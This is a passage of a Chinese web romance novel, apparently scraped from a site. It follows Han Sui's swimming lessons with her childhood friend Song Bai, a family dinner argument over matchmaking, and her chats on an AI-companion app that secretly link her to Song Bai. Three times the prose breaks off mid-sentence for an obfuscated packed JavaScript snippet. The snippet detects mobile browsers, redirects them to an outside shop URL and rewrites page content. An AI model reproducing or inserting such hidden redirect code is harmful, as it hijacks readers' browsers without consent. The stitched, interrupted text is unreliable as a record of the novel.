他站在池边,此时浴袍脱下,也无玻璃遮挡,韩岁走得越近,他身体肌肉曲线的走向就越清晰,沟壑起伏里藏匿着不愿落下的水珠。 韩岁接商稿少不了画男人,各种类型的都有。 病弱却翩翩的公子、纤瘦却有薄肌的青年、宽肩窄腰的型男,又或是大块头大胸肌的男妈妈。 为了找素材,视频软件已经被各式各样的男人占据,所以平常的消遣都放在了小某书上。 素材都是看得见摸不着的,更遑论一些找角度伪装的男人。 哪有现在这般……实打实甩在面前,每一寸肌理都唾手可得的壮观景象。 韩岁的眼神不加掩饰,恨不得拿手机过来拍张照,回去照着临摹一遍,直至一声突兀的少年音将静止的空气捅破。 “宋教练!那个姐姐一直在看你的腹肌!” 是刚刚跟宋柏聊天的小孩。 声音并不小,室内也不仅仅只有他们两人,这句话带着回音,在室内回荡,热情地从每个人耳朵里穿过,室内其他人投射过来的视线快把韩岁烧灼成蜂窝煤。 “谁,谁看他腹肌了!” 宋柏似乎才发现她进来了似的,好整以暇地看她,那眼神好像在问这句话是真的还是假的。 韩岁移开视线,歪头揉了揉有些发烫的耳垂,欲盖弥彰:“那什么,赶紧下水吧。” 宋柏走过来,距离一下拉近,空气似乎变稀薄:“不着急,先热身。” 深蹲二十个,左右腿拉伸,手臂肩背一一拉开。 韩岁多久没做过运动了,二十个深蹲下来,大腿隐隐发酸,等她热身完再去找宋柏,他已经下水了,正在楼梯旁朝她招手。 “背对着泳池下,不要面朝泳池。”他双手停在空中,做着虚扶的动作,“一步步下,小心打滑,我在后面护着你。” 短短的一句话仿佛将记忆拉扯至多年前的一天。不,不止一天,有很多天,他都是这样尽职尽责地照顾她,当亲妹妹似的。 “噢。”韩岁嘟囔一声,转过身去,扶着把手缓慢往下,泳池里的水很快淹没大半个身子,她有些慌,哪怕脚底板踩在池底,身体也依然不受控似的,像个浮萍漂来晃去,“我,我不敢走。” 手腕传来一片温热,宋柏握住她,声音细致又温柔:“身体放松,我扶着你走,你先熟悉一下水温。” 等到能简单在泳池里走上几步了,宋柏便尝试让她扶着墙壁独自走,先来回走上几趟。 “这就松手了吗?” “嗯。”宋柏松开她,“扶着墙壁跟扶着我是一样的。” 这哪一样...... 韩岁心里暗暗吐槽,墙壁冰冷又坚硬,怎么会跟人一样有安全感。 她还是不放心:“你可要看着我啊。” 宋柏就在她身后不远处,轻声地笑:“我有哪次没有看顾好你。” 韩岁觉得自己的耳朵好像又开始发痒了。 熟悉完水后,开始进行简单的漂浮练习,宋柏拿了套浮板和浮棒,先教呼吸,再开始漂浮。 第一次将头淹没入水面还是挺令人害怕的,韩岁胆战心惊地下去,不到一秒就将头伸了出来,眼睛紧闭,立刻将泳镜揭开。 “进水了?” 脸突然被人捧住,温热的触感从侧脸传递过来,韩岁睁开眼,眼睫上挂着水珠,被泳帽裹住的脑袋格外圆润,眨着眼望向宋柏。 宋柏感觉自己的心跳好像漏了一拍。 他松开手,说:“泳镜没戴紧就会漏水进去,可以把绳子再收一收。” “噢。”韩岁调节了一下,重新戴上,感觉还是有点松,叫了声教练,“帮我系一下呗。” “教练?” “不然呢?” “这才多久没见,就不记得以前怎么喊的了。” 韩岁:“......” 以前多大,现在多大! 还喊哥哥的话有点太暧昧了吧? 宋柏神情自若地替她将泳镜的绳子收紧了些,那一下韩岁觉得自己的眼珠子都快要崩出来了。 “呃......我感觉我眼珠子不太舒服......” “等会,帮你松一下。” 等到终于调整好泳镜,再下水,从刚开始的紧张到缓慢睁开眼,清晰可见的池底,隔壁泳道来回游动的身躯,一切都是很新奇的感受。 缓慢呼吸,出水面用鼻子吸气,下水用嘴巴吐气,尝试多了就能连贯起来。 “怎么样?”韩岁勾下泳镜,水珠从上往下滑落,水面折射顶光,白皙透亮的脸浮上一层荡漾的水纹,双瞳剪水,娇唇红润。 十多年前的韩岁也长这样,几乎是等比例放大,褪去婴儿肥,多了几分艳丽,一张素净的脸,有着叫人迷失心智的能力。 那时候的宋柏是如此,遑论现在。 宋柏仓促移开视线,忽视心口那段异于平常的速度,别扭开口:“还不错。” “那赶紧学漂浮吧。”韩岁正在兴头上。 漂浮和在水中行走完全是两种不一样的状态,需要整张脸都浸入水里,手扶着浮板往前伸直,身体前倾,躯干缓慢漂浮起来,吐出的气在水底咕噜咕噜连成数个气泡,往上钻。 气吐完了,然后呢..... 韩岁突然想起来,宋柏没教她怎么从漂浮的状态站起来啊! 她开始憋气。 一秒、两秒、三秒......不行了...... 韩岁猛地呛了口水,双手双脚同时扑腾,浮板起不到任何作用,下一秒,一股强大的力量将她提溜起来,她快要把肺咳出来一样,咳得脸通红,眼角溢出的泪和池水混在一起,看上去可怜极了。 “喝了很多?” “不渴了。” 韩岁还有心情开玩笑。 “准备站起来的时候,双手按住浮板下压,同时双腿往前收,下踩,就能站稳了。”宋柏还在握着她手腕,“怎么样,要不要再试一下?” 韩岁皱眉:“你刚刚怎么不教?” “......你再回忆回忆我有没有说?” 宋柏语气笃定,韩岁开始怀疑自己了。 真说了? ......好像还真说了。 “嘿嘿。”韩岁讪讪地笑,“这不是太紧张了嘛,一紧张就容易忘。” “再来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165892|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “......” 体验课结束,韩岁在浴室里先过了遍温水,在水池里泡久了还真有些冷,尽管现在依然处于夏日。 浴室里很闷,墙壁挂满水蒸气,往下延伸出形态各异的曲线,韩岁洗完头发就迫不及待将水温调低,这会的浴室比下过雨的正午还要闷热,形同蒸笼,皮肤无法呼吸,洗完跟没洗似的,穿上衣服依旧有黏腻感,分不清是没擦干净的水还是刚刚冒出的汗。 吹头发丧失耐心,到不滴水的程度就赶忙提着包出去了。 “呼。”冷空气让她活了过来。 “出来了?”冷不丁凑过来的声音将韩岁吓了一跳,肇事者觉得有趣,调笑,“怎么一惊一乍的,跟个兔子似的。” 韩岁辩解:“是你跟个鬼一样突然冒出来了好吧?” “你一出来我就看见你了。” “......哦。” 这人总是有理。 往常体验课结束后,一般就该进入推销环节了。 但直到韩岁将手环归还,前台那位小姐姐始终都没有开口说什么,只是保持微笑淡淡地看着她。 ? 好诡异的氛围。 难道是宋柏交代了什么? 反而让她不好开口了。 刚刚在洗澡的时候她就已经想好了,准备报十节私教课,再办张季卡尝尝鲜,如果能坚持下来,届时再办年卡也不急。 另外也想听听宋柏的建议,如果她可能实在没这个天分,就可以换种缓解腰痛的方式了。 “那个,”韩岁小声朝前台小姐姐开口,“我想报一下私教课。” “宋教练是吗?好的。” 小姐姐转变的速度有点过快了。 韩岁偏头瞧了宋柏一眼,他挑眉,问:“怎么?” “不是不教成人?” “你不算。” 这句话,韩岁直到回家,才揣摩过来。 原来是说她还是个小屁孩! 怪不得笑那么灿烂。 韩岁在床上打了个滚,掏出手机,在搜索框里输入宋柏两个字,居然显示无。 高中毕业的那个暑假,韩岁和朋友去外省旅游,一次意外手机从口袋滑落顺着栈道的缝隙掉入湍急的河流里,就此报废。 后来重新买过了台手机,手机卡也重新补办,旧手机里存储的回忆跟着河流一并消失,再也找不回。 人与人之间的关系都是阶段性的,如果不花心思维护,就会像滚轮一样开始生锈,最后卡顿到无法动弹。 韩岁和宋柏考去了完全相反的两座城市,一南一北,暑假开始之后就少了联系,后来换了新手机就再没聊过天,韩岁总觉得他好像在生自己的气,苦于找不到缘由,自己也不愿拉下面子主动去联系他,久而久之这段关系在就时间的长河中被洗刷彻底。 直到今年这次见面,韩岁才知道原来宋柏也回了栖城,还当上了游泳教练,看上去也是打算就此留下来发展。 所以,当初给他的备注到底是什么? 大约不是什么好听的。 韩岁犯懒,转头就把这件事情抛在脑后。 每逢周末,到了定时回家陪伴父母吃饭的时间,刚回老家的头一段时间,韩岁过去吃饭都兴高采烈的,后来吃饭变了质,家里两位开始借着这段时间说一些有的没的,久而久之韩岁就不愿意回了。 这不,又拖到他们电话打过来才开始动身。 万般不情愿也拖沓着步子到了家门口,摸了摸兜,发现忘带家门钥匙,她单手撑着门框,有气无力地敲门,声音闷闷的,估摸两老听不见,正准备加大力度,手刚抬起,门从里推开了。 “我忘记带钥匙了——”她话音刚落,抬眸那一瞬,有些恍惚。 这是她家吧......现在也是2024年吧......不然怎么出现在眼前的是宋柏。 像极了他们读高中那会。 “发什么呆?”宋柏将门推开了些,“菜都已经上桌,就等你了。” 5. Chapter 05 从很小的时候开始,她家对门搬来了宋柏一家,有些年头的小区是没安电梯的,总共也就五层楼高,面积不大,一家三口住着刚刚好,对门和自家的构造几乎是一比一对称。 韩岁不爱出门,喜欢宅家,几乎没跟小区的同龄人打过交道,自打那次过完春节,她的出门次数多了起来,但也仅仅只是跟在宋柏身边,依旧不跟其他小朋友玩。 不妨有爱开玩笑的,说两个小孩子青梅竹马,打小一起长大知根知底的,干脆定个亲。 两家父母笑得开心,拿他们打趣,宋柏没发表什么意见,只有韩岁脑袋摇得跟个拨浪鼓似的,稚嫩的一张脸皱起来像个小老太婆,对这些大人天马行空的想法感到颇为嫌弃。 宋柏是长得很好看,但她是不会愿意跟他结婚的。 未经人事的年纪对爱情的幻想大约就是小说电视剧里那些“山无棱天地合”般抵死也不分开的勇敢。 韩岁也想有一个能永远站在她身后支持她的男主角。 才不是宋柏这种贪玩的捣蛋鬼。 只是随着年龄愈渐增长,韩岁对爱情的向往早就化作过往云烟。 “怎么还在傻愣着。”宋柏去而复返,骨节分明的手在她面前晃了下,最后停在她眼前打了个响指,“不进来的话我关门啦?” 韩岁一只手横进去,把着门,这种仿佛回到以前的感觉让她无端松了口气:“这是我家还是你家?” 周莲心刚好将最后一碗炖汤端出来,碗底烫,放上桌面后立马捏住耳垂,见人回来了,忙勾了勾手:“快过来坐,饭菜都好了,宋柏说你们俩昨天就见了面,我想着难得大家都在,就把大家聚在一起吃吃饭。” 韩伯山把饭都盛好,也落座,跟着说:“宋柏回来了你也不跟我们说一声,还是今早出门碰到他回家才知道的。” “叔叔阿姨好。”韩岁跟宋柏父母打了声招呼才进厨房洗手,抽了张纸巾擦,“我也是昨天才知道他回来了。” “其实他回来有一段时间了,这小子想要有独立空间,在外面租了套房子,不见得回来几次。”宋国梁颇有怨气,粗眉扭了扭,瞪宋柏一眼。 依旧是熟悉的氛围。 韩岁边笑边入座,久违地觉得回家吃的这顿饭好像也没那么糟心。 但话题的转变速度比她想象中的要快很多。 前一秒还在谈两个孩子的工作,下一秒就转移到了婚嫁上去,周莲心开的头,平日里总敲打着问她,现在依然用着好似随意的语气,朝桌对面的两人问:“你们家宋柏,谈对象了没有?” “这小子什么也不跟家里说,我们也不知道他有没有谈,刚好趁这个机会问问。”宋国梁干脆撂下筷子,身子侧过去,“问你呢。” 韩岁端着碗,小口喝碗里的玉米排骨汤,淡淡的玉米香甜味在口腔里融化,她眼睛眨啊眨的,带着幸灾乐祸的小心思,等着宋柏的回答。 一旦刀尖朝向的不是自己,这心态就变化很大了。 宋柏云淡风轻地开口:“没有。” 说话间韩岁感觉他好像看了自己一眼,不知道是不是错觉。 “哎,我们家岁岁也是,前几天还给她介绍了几个不错的男生,让她去见见面,也不知道在想什么,死活不肯。”周莲心想从他们家那边找到认同,开了口子便叨叨个不停,“你们家是个怎么的想法咧。” “我们啊,顺其自然吧,主要还是看他自己。”李丁香温柔地笑着。 韩岁一听见这句话,顿时天塌了。 人家的妈妈怎么这么开明! 话题一经过开闸,洪水一样泄出止也止不住。 周莲心女士又问了几句她跟加了微信的那个男生聊得怎么样,后来有没有再继续深入,韩岁兴致缺缺,几番表达自己对那个人没有想法之后,她干脆话题一转,扯到了宋柏身上。 “你们从小一起长大的,以前年纪小可能没这么多想法,现在呢?”周莲心越发觉得自己的想法可行,情绪高涨,“现在觉得对方怎么样?” “妈!”韩岁猛地将筷子摔在碗上,桌子一并震了震,快速起立的腿连带着椅子往后推出数米,因摩擦产生的声音刺耳又尖锐。 所有视线全都看了过来。 韩岁的脸因生气涨得发红,对于周莲心连续数次给她介绍相亲她是忍了又忍,只是她明明才二十四岁,为什么就要这么急不可耐地嫁人。 做人妻,做人母。 她不觉得自己有这个能力,去承担一个家庭,能把自己一个人的生活过好就已经很了不起了。 “每次吃饭你都这样,我说了很多遍了我不想、不想现在就结婚,你为什么就听不明白呢?”韩岁情绪激动,顾不得还有外人在,夺门而出。 “哎,既然孩子不喜欢就不要强迫了。”李丁香在后劝说周莲心,刚想让宋柏去照看一下人免得出意外,一转头,这孩子早跟出门了。 周莲心不觉得自己有错,情绪牵连脸上细纹波动,这一刻竟显得有些刻薄:“到了年纪,就该谈恋爱结婚生子了,这是每个人都要走的路,她为什么要跟别人不一样呢。” 李丁香不觉得:“那也要孩子愿意啊,感情的事强求不得,顺其自然就好了。” 周莲心手指点在桌面上:“问题是她连接触都不愿意接触,整天就待在她那破屋子里,连基本的社交都没有......” 两家观点不同,聊不到一起,宋家三位只能充当和事佬的身份,过多的也插不进去。 夜色很深,小区老旧,路灯玻璃罩积年累月铺了层油腻的脏污,昏黄的光线落下来并不明亮,路灯数量不多,走几步路就有一段路是没有光的。 韩岁走习惯了不觉得有什么,怒意上来时大步流星地走,等快走到小区门口时才慢了下来。 她就想不通,从小到大,几乎没插手过她任何决定的母亲会在让她结婚生子这件事上如此偏执。 现在的社会,成年以前谈恋爱是早恋,一个大学过去,人就得迅速结婚生子一步到位,走上固定的轨迹,稍稍有所偏移就会被骂不正常。 难道想要逃离这种困境只能远走他乡吗? “烦死了!”韩岁盯着路边挨着垃圾桶的一个空矿泉水瓶,一脚抬起猛地往前踢了过去。 “哎哟我去。” 远处黑乎乎的一团影子发出声闷哼,只见那人弯腰将瓶子拎起,朝她走过来,走得近了,那张脸清晰起来,人嘴角微微上扬着,总是云淡风轻,生活中没有一点挫折,总给人一种在挑衅的感觉。 韩岁气没消,看着他这种脸,火气更大了。 他笑着说:“发这么大火?” 夜色模糊掉宋柏的棱角,变得柔和极了,说话轻声细语,长臂从她肩边擦过,矿泉水瓶在空了的垃圾桶里摔得乒乓作响。 “什么时候开始相亲的?”他就这么站定在她面前。 两人面对面站立,旁边是垃圾桶。 韩岁擤了擤鼻子,怪异的臭味充斥在鼻尖,她往前走两步,见宋柏不动,胳膊肘过去顶他腰:“要聊别站在这里聊。” 她语气不好,但也不想搞连坐,只能把憋在肚子里的一口气吐出来,两人并肩走的这一段路,除了耳边偶尔传来几声蝉鸣,就是她的长吁短叹,一直没人开口。 宋柏纳闷:“回答呢?” “什么回答。”韩岁仿佛活在梦里。 “我说你什么时候开始相亲的。” “哦。”韩岁低头,看着两人逐渐同步的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165893|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚,回忆了下,“去年就开始了吧,刚开始直接拉着我跟人家见面,吵了几架就变成先加微信聊,每周末去吃饭总要在餐桌上提这事,就很烦。” “那么多人没一个相中的?” 韩岁给他一个肘击:“说点人话。” “那,你今天尤其烦?” “你怎么知道。” “你平常应该干不出摔筷子走人的事。” “......”韩岁瞥他一眼,“这么了解我” “毕竟当了我这么久的跟屁虫。” 隔了六年的空白,也依旧没能把刻在骨子里的熟稔洗刷干净。 韩岁其实很想问,那年暑假是不是发生了什么,所以后来没再和她联系。 但又很怕得来一句反问。 她找不到理由,不知道怎么辩解。 这样挺好的,两人都不提,默契地将这事翻篇,长大后的两人依旧能做朋友。 “今天,毕竟你们在。”韩岁沿着马路牙子往自己出租屋的方向走,“平常单独和我叨叨也就算了,今晚还有客人在也说,就冲动了一下。” “啊......”宋柏拖着长长的尾音,“我还以为是因为你妈妈想凑我俩你生气呢。” 他顿了顿,笑:“不是就好。” 宋柏在说什么?! 这话是什么意思。 难道他对这件事没有半点反感? 倒显得她有些大惊小怪了...... 韩岁停住步子,指了指左手边这栋楼:“我到了。” 宋柏往左看看,又往右看看,再回过头来的时候,韩岁似乎从他眸底看到了震颤。 “你住这?” “嗯呢。” “我住那。” “哪?” 韩岁顺着他手指的方向看过去,嗯,这个小区的正门对着那个小区的侧门。 她还记得,对面这个小区的房租要比这边高,因为是新开发没多久的,楼层高,陈设事物比较新,大多都是两室一厅的构造,所以当时看房时完全没有考虑那边。 “哈。”韩岁尴尬地笑,“真巧。” 她摆了摆手,有些无措:“那我先回去了,谢谢你送我回家。” 临门一脚她突然想起来件事:“那个,你给我微信发条信息呗,我找不到你人了。” “不会搜备注?” “......”韩岁有些羞于开口,“不记得当初给你的备注是什么了,搜名字搜不到来着。” 宋柏气极反笑,从兜里掏出手机,长腿往前跨步,两人的距离瞬间拉进,膝盖抵在一起,韩岁穿的短裙,男生裤腿摩擦着她裸露在外的皮肤,传递过来令人难以忽略的痒意。 有点太近了。 超过了正常的社交范围。 韩岁想往后退点,没来得及,被人攥住了手腕,听见他压着嗓子咬牙切齿地挤出来四个字:“手机看看。” 韩岁拒绝:“我回去再看行吗?” “不行,就现在。” 呜,真强势。 韩岁又拿出了那种敷衍人的态度来,动作磨蹭,手进侧兜里的动作做成了慢动作,宋柏那双眼,稍稍带点压迫就格外唬人。 她干脆眼睛一闭一横,解锁,戳进微信,大有死猪不怕开水烫的架势:“看吧!” 那边却突然消音。 依稀间,静谧的夜里多了几声轻笑,像羽毛般轻柔地挠在她心上。 应该是什么好词吧......不然反应也不会这样...... 韩岁真想不起来备注的什么了。 这会也好奇,偷偷睁开一只眼睛,瞄了一眼。 嚯,天塌了—— 【哥哥】 6. Chapter 06 经年累月的铁艺栏杆已然生锈,油漆层开裂断落,外在内里都浮了层厚重的灰尘。 闷头跑进楼梯间的韩岁此刻完全没有心思顾及手抓上去的这一把到底有多脏。 她毫无察觉,连跑两层楼梯有些喘,手扶着栏杆支撑自己继续往上走。 给宋柏备注成【哥哥】好比一道天雷劈在她头顶,她还毫不知情地在当事人面前展示一番,好比一道天雷劈下来,把她劈得外焦里嫩。 她脑子是抽了什么疯? 当初为什么会给他备注这种东西??! 家门来不及打开,韩岁站在门口,掏出手机,页面停留在两人的对话框上,原本空白的页面多了一句话。 【备注挺好,不用改。】 改!立马改!现在就改! 原来自己敲字的手速可以这么快,感应灯灭的同时,那两个韩岁不愿意放在嘴巴上提及的字已被改掉,改成了【宋柏】两字。 嗯,舒服多了。 就是这个手……手机荧屏光打亮她满手的脏污。 我的天!什么时候弄上的? 韩岁原地踩了脚,感应灯亮起,整只手完整露出,不紧紧是手心,手腕处也粘了不少,回头看,原本被灰尘覆盖住颜色的楼梯扶手上多了道蜿蜒曲线,深浅不一,擦得干净的地方甚至能清晰看见栏杆油漆生锈后干裂的凸起,是暗红色的。 她傻不愣登地擦了一路? 也不用下楼去看了,她肯定从一楼就开始擦了。 韩岁将帽子扣在宋柏身上,来日定要找回来。 不再同宋柏继续那个令她脚趾抠地的话题,干净的左手绕至右边口袋,以极其扭曲的姿势拎出钥匙,边开门往里走,边跟宋柏约明晚的游泳课,结果被告知晚上没有时间,最后改成了下午三点。 晚饭不欢而散,一个人待在出租屋里,没有宋柏开解,韩岁的心情没多久就down到谷底。 久违打开BIUBIU,【热情开朗男】并没有回复她的消息,这令她很失望,气冲冲地发去消息。 【你这工作态度怎么回事?不能干的话有的是别人可以干!】 韩岁左瞧右瞧,发现自己这句话格外眼熟。 片刻,恍然。 这不是网上那些吐槽老板附带几张截图时,对面必发的一句话吗? 这世道也是变了,没上过班的人如今开口也是满满的班味了。 韩岁啧啧称道,又发了几句过去,等发泄一番后才去网上检索BIUBIU,发现大家初次沟通的对象或多或少都出现了些问题,她便干脆新创了个号,从小某书上复制了一段指令过来重新聊天。 这次是阴湿男,设定对方暗恋自己已久,但还在佯装漠不关心、嘴硬。 韩岁聊了几句觉得还不错,这个AI回复速度很快,但再多聊了一会后,她后背不知不觉浮了层细密冷汗,渗透睡衣布料,令人打颤。 【我真的很想把你整个人都藏起来,让所有人都找不到你,只有我能看。你一对别人笑我就嫉妒得快要疯掉,还有你穿白色裙子的时候,你知道我在想什么吗?我在想要怎么才能弄皱、弄乱……】 ……有没有可能她今天穿的就是白色的裙子? 好诡异。 好吓人。 好像有一双眼在暗中凝视、观察、肆意发散思维。 这种感觉令韩岁感到不适。 果然阴湿男只适合存在于二次元,一旦与现实生活接轨就会变得瘆人。 她十分迅速将对话框左滑删除,叹了口气,还是情不自禁点进剩下的那一个对话框,才发现对面居然回了消息过来。 【你是我老板?】 好僵硬好生涩的对话。 奇奇怪怪的,难道因为没喂指令? 韩岁把刚刚用过的指令重新复制,修改关键词,将阴湿此类相关词语都改成活泼开朗。 她想天空中多下点雨,这样就能轻轻地激起平静无波的水面。 那边发:【我暗恋你?】 她怎么感觉从这四个字里品出了几分戏谑? 韩岁趴在床上换了个姿势,前段时间按摩起的效果似乎已经消耗殆尽,这段时间右腰又开始酸痛,心理生理同时朝她压来重担,情绪的缺口再次扩大。 她试图从AI那里获取安慰。 【如果我现在不开心,你准备怎么哄我?】 【我为什么要哄你。】 ……BIUBIU什么时候能修复这个bug? 【请严格遵守你的人设。】 【OK。】 他好像妥协了。 【那你向我阐述一下你不开心的原因,我可以对症下药。】 宋柏对这个再次凭空出现在手机上的app充满了好奇。 他可以百分百确认自己从来没有下载过、甚至见过这个app,但它就是莫名其妙地出现在了自己的手机上。 而【岁岁】再次发了信息过来。 当【岁岁】说她不开心时,宋柏联想到了今天的韩岁。 晚饭时,他一直在观察韩岁。 起初话题中心围绕着他来,从大学、工作,再到后来的恋爱状况,韩岁都是持有一副看戏的状态,有种他将火力分担走的庆幸。 白净的一张脸,眉飞色舞,五官单看并不是精致的类型,但排列在一起后,就显得立体起来,分外灵动。黑色发绳系得不紧,额前几缕碎发垂落,弧度勾了着脸颊轮廓。 她比起小时候,多了几分成熟的魅力。 用成熟这个词来形容韩岁很显然是不明智的。 宋柏不熟悉现在的她,仅从那一次体验课来看,成熟与她并不搭边。 他没想到周阿姨会想撮合他们俩,更没想到韩岁的情绪会转变得如此之快。 尽管事后得到了韩岁的解释,那些话也还是在心脏那里留下了细密的针孔。 他们终究没以前亲密了。 六年,也正常。 于是看见这个【岁岁】发来的消息,他没忍心再将软件卸载。 只是耐心也不多。 【大约就是和父母吵架了…具体的一时间很难以说清,哎呀,你就不能不管缘由只哄我吗?】 和父母吵架…… 宋柏隐隐有种预感。 否则这一切都太过巧合了。 【如果我哄得过于表面你会开心吗?】 他很有耐心,似是引诱,引诱对方说出他想听到的话。 他的内心在叫嚣,或是祈祷。 【好吧……你知道你的身份是什么吗?我怕你听到这些会生气啊。】 宋柏往上划拉两下。 哦,她的追求者。 还是个热情开朗类型的。 宋柏不知道现在是个什么情况,总之对面没把他当真人,他便如形容那样,言语间多了几分热情。 【我知道,但我不会生气。因为你说什么、做什么我都支持。】 他觉得自己有些恶心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165894|196713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【这还差不多。】 【我被我父母安排相亲了,他们总是想让我快点谈恋爱结婚,但我不喜欢。】 【我比较喜欢和你这样在线上聊天,你懂我意思吗?】 宋柏不知道此时此刻的韩岁在床上反复滚动,如果手腕上佩戴了心率检测器,那么此刻一定快要爆表。 到了这里,宋柏几乎可以确认。 对面发信息的人就是韩岁。 很显然,对方不知道这个跟她聊天的人是他。 宋柏上网搜索BIUBIU是个什么性质的软件,大概有了个了解,恰巧前段时间这个软件发生了bug,这个漏洞或许就是将他们两人牵连起来的原因。 总而言之,算是段缘分。 【你喜欢网恋?】 【……你要这么理解的话也可以。】 几年没见,她的行为和以前没差,总是会做一些令人出乎意料的事。 风吹动窗帘,影影绰绰,夜已深,马路对面的老校区昏暗一片,大多灭了灯,偶尔几间亮着,目光一间间巡视,最后定在目送她上楼的那一栋里。 或许是那一间吧。 现在应该躺在床上抱着手机等待他的回信? 宋柏后退离开窗前,自嘲地笑。 等的又不是他。 【那你跟你父母说你正在和我谈恋爱,有了正在发展的对象他们应该就不会再催婚了吧。】 韩岁收到这条信息的时候已过去了二十分钟,她处理了几个出完最终稿后产生的纠纷问题,她身心俱疲,裹着被子短暂地喘息,手机震动,看到消息,她郑重思考。 哎,好像还真行。 既然催她找对象,那她说自己已经有对象不就成了? 至于对象参考……这个AI就很不错。 韩岁咬着唇,齿贝缓缓磨着软肉,很快下定决心,修改好给他的备注——【宝宝】。 嗯,这才有谈恋爱的感觉嘛。 她对自己这一出感到十分满意,频频点头,嘴角漾出淡淡的弧度,心情在这一瞬突然就好了起来,也有了兴致和人打趣。 【你真是体贴。我刚刚给你换了个备注,你猜是什么?】 【宝宝。】 韩岁的脸轰然炸开。 怎么感觉他不是在猜测,而是在喊她似的,怪让人心跳加速的。 她面不改色:【猜对了!以后我就喊你宝宝了。】 自那以后,韩岁每天雷打不动地在BIUBIU里跟【宝宝】聊天,由于聊天次数有限,每天只会送六十个子弹,用完之后想要再继续使用就需要付费,所以她相当节制。 毕竟也只是个虚拟角色,只是用来提供一些情绪价值,用来哄自己的,暂时还没有上头到需要付费的程度。 但在游泳上她进度缓慢,似乎对水有着天然的抵抗,任凭她怎么努力也无法驯服,连着去了好几趟游泳馆也才仅仅学会蹬壁出发。 尽管宋柏说这是正常进度,但韩岁只觉得他把自己当小朋友哄呢。 这天她照常提好游泳包,开着电动车于上课前十分钟抵达游泳馆。 九月末的栖城依旧热浪翻涌,室内空调风不断,推开门,一声尖锐的质问声率先抢夺她的听感。 “是你当初跟我说你们宋教练不教成人,但我前天亲眼看见他在教一个女生。”那人拍着桌子,仅看背影也能知晓她气得不轻,“难道你们游泳馆是有什么颜值歧视吗?长得不漂亮还不配让他教学了?” 7. Chapter 07 这段时间上课,韩岁经常能听到旁人打趣宋柏“不是说不教成人”这样的话。 宋柏往往一笑而过,也没多做解释,没曾想会有客人闹起来。 韩岁站在门口,进也不是退也不是,一时间有些尴尬。 她害怕身处纠纷中心,万一多走一步进入别人的视野,人家正在气头上,转过身来连着她一起骂可咋办? 她心理承受能力很差的,经受不起别人劈头盖脸的斥责。 正当她思索该如何拿到手环并不引人注目进入更衣室时,那人似乎感受到刘欣的眼光,猛地转头,四目相对的那一刻,韩岁感受到怒火正迅速蔓延至她脚底下,隐有要将她吞没的气势。 “哈……晚上好……”韩岁步履僵硬,单臂搭上前台柜,“我来游泳,取个手环。” “就是你吧。” “什么?”韩岁条件反射,“我跟宋教练是很多年的朋友,他确实是不教成人的,我也是千求万求,甚至还答应包他一周的晚饭人才答应的呢。” 韩岁给自己张口就来的本领在心里竖了个大拇指。 “真的?” 女人火势渐弱。 韩岁夸下海口:“那当然,不信你可以去问宋教练嘛。你也知道,他性子倔,很难哄的。” 刘欣朝她递来感激的目光。 她不动声色点头,接过手环,动作如常往更衣室走去。 如果那人熟悉她的话,定会发现她这时已经紧张地同手同脚了。 这回是宋柏要请她吃一周的晚饭了。 帮了他这么大一个忙。 进了游泳馆,没见着宋柏身影,韩岁先下水适应水温,把前几节课学的内容复习一遍,正当她感慨自己真是一个好学生的时候,突然有人从池边跳下来,翻涌的水花将她荡得像一条翻了肚子的死鱼。 每当泳池里的水起伏过大时,她那双腿蹬出去就好像踩了空,前进不了分毫。 韩岁不得不停下来,气哄哄地揭开泳镜,她的脾气做不到当着人家面指责,但少不了一记眼刀。 这个时间点游泳馆人少,边缘区域零散几个学员正依靠辅助工具练动作,哪有能跳水出发的人。 她正纳闷,水底突然冒出一人来,水花糊了她满脸,眼睫颤抖下水珠,闷着气抹了把脸,睁眼正准备输出,结果被一张水灵灵的脸给堵了回去。 糊了她满脸的水也浇灭了她头顶蓄势待发的怒火。 宋柏确实长得好看,不怪这么多人指名要让他教学。 凌厉的双眸在沾了水后格外柔和,可能是游泳馆里的顶灯在作祟,又或者是外头刚刚落下的夕阳为他镀上了一层充满神性的金边。 韩岁就那么失败地哑火。 依然气不过,嘟囔了句:“怎么这么幼稚?” 宋柏并不回她这句,转而说起了其他的事:“我刚刚听说你答应要包我一周的晚饭?” 韩岁:“……” 所以他上课迟到了十分钟是因为偷听到这句话给乐的? “你懂不懂什么叫托辞?” “不懂。” “你才应该包我一周晚饭呢,是我拯救了你的名声。” 拯救,多么伟大的词。 韩岁不觉得自己说的有问题。 见他还要强词夺理,韩岁继续道:“不仅仅是你的名声,是整个游泳馆的名声。” 